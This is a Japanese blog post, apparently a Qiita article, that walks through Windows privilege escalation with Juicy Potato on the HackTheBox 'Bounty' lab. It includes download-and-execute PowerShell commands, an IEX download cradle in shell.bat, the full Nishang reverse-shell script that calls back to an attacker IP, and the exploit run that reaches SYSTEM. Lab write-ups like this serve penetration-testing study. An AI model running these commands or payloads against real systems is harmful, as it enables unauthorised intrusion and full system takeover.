初めに
こんにちは、最近Windowsマシンの攻略にハマっているセキュリティエンジニアです。脆弱性診断業務に1年半ほど従事しています。
皆さんはWindowsマシンの権限昇格の際に、とりあえずwhoami /priv
を叩いて権限を確認してみたはいいもののどれをどう悪用していいか分からなくて手が止まった経験はありませんか?
今回は権限のうち、SeImpersonatePrivilege
を悪用した権限昇格のツールの一つJuicy Potato
について概要および実際の利用方法についてまとめて行きたいと思います。
Juicy Potatoとは
JuicyPotato
は、Windows の COM サービスとトークン偽装の仕組みを悪用して SYSTEM 権限を奪取するための有名な 特権昇格エクスプロイトです。
特に Windows Server や古い Windows 10 環境で有効です。
そもそもDCOM/COMとは
恥ずかしながら私はJuicy Potato
の原理について学ぶまでDCOM/COM について知らなかったので簡単にまとめてみました。
✅ COM(Component Object Model)
・Windows が提供するオブジェクト指向のソフトウェアコンポーネントモデル
・例: Shell.Application, WScript.Shell, Scripting.FileSystemObject など
・プログラムから COM オブジェクトを使って機能を呼び出せる(Excel を起動するなど)
✅ DCOM(Distributed COM)
・COM を ローカルマシンだけでなくネットワーク越しでも使えるようにした拡張
・RPC(リモートプロシージャコール)を用いて、リモートの COM オブジェクトを操作できる
攻撃の概要
Windows では、あるプロセスが SeImpersonatePrivilege を持っていると、他のユーザー(例えば SYSTEM)のトークンを偽装できます。
JuicyPotato はこの偽装を悪用して、以下を行います:
-
DCOM/COM サービスを利用して SYSTEMトークンを持つプロセスを起動
-
そのプロセスからトークンを盗み、偽装(Impersonate)
-
そのトークンを使って SYSTEM 権限でコマンドを実行
利用方法
それでは実際にJuicyPotatoを利用した権限昇格の方法について説明します。
今回はHacktheBoxのBountyを題材に、Juicy Potato で権限昇格をしていきます。
前提
① 現在取っているユーザにSeImpersonatePrivilege
権限が割り振られている。
上図はリバースシェルを張って初期侵入したユーザの権限を確認している図。当該権限を持っていることが分かる。
② Windows の OSバージョンが1803以前 (Windows10 1809以降の OSバージョンには基本的に刺さらない)
今回初期侵入しているマシンのOSバージョンはWindows 8なので可能性あり。
手順
① 以下のリンクからJuicy Potatoを入手します。
② 攻撃者のターミナル1にサーバを立ち上げ(例では8000ポート)、侵入マシンに入手したJuicyPotato.exe
をダウンロードする。
PS C:\Users\merlin\Desktop> powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.16.15:8000/JuicyPotato.exe','JuicyPotato.exe')"
PS C:\Users\merlin\Desktop> dir
Directory: C:\Users\merlin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/26/2025 9:29 AM 347648 JuicyPotato.exe
※ちなみにWindows OSのバージョンが古い関係でPowerShellのバージョンも低いことが多く、Invoke-WebRequest
は通らない可能性があります。
③ JuicyPotato.exe のオプションを確認してみます。
PS C:\Users\merlin\Desktop> ./JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
-t
: CreateProcessの呼び出し方法を指定。今回は両方検証します。
-p
: SYSTEM権限で起動するプログラムを指定します。
-l
: COMサーバの待ち受けポート。攻撃者のターミナル2で待ち受けるポートを指定します。
④ 次に、今回SYSTEM権限で起動するシェルを侵入対象マシンにダウンロードしておきます。
PS C:\Users\merlin\Desktop> (New-Object System.Net.WebClient).DownloadFile("http://10.10.16.15:8000/shell.bat", "C:\Users\merlin\Desktop\shell.bat")
shell.bat
の内容は下記となります。
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.16.15:8000/Invoke-PowerShellTcp.ps1')
中身はPowerShell上で、InvokePowerShellTcp.ps1
をダウンロードするバッチファイルです。
このバッチファイルで呼び出されているInvokePowerShellTcp.ps1
の内容は下記です。
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
...
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
# powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/Invoke-PowerShellTcp.ps1')"
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.15 -Port 4443
長々と書いてありますが、本スクリプトは、Windows上で動作するPowerShellでTCP接続を使い、攻撃者PCと双方向通信できるシェル環境を作るスクリプトです。
実行する上で大事なのは一番下の行です。攻撃者のターミナル2で待ち受けているポートを指定しておきます。
⑤ いよいよJuicy Potato.exe
を実行します。③で確認したオプションを一式つけて実行します。
PS C:\Users\merlin\Desktop> .\JuicyPotato.exe -t * -p shell.bat -l 4443
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4443
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
PS C:\Users\merlin\Desktop>
待ち受けていた攻撃者のターミナル2では無事管理者権限のシェルが取れていることが確認できました。
あとがき
今回はJuicy Potato
の概要とその利用方法について解説しました。
whoami /priv
をQiitaのユーザ名にしているからにはいつかは各権限の悪用方法についてもまとめていきたい所存です。(その前にちゃんと勉強します...)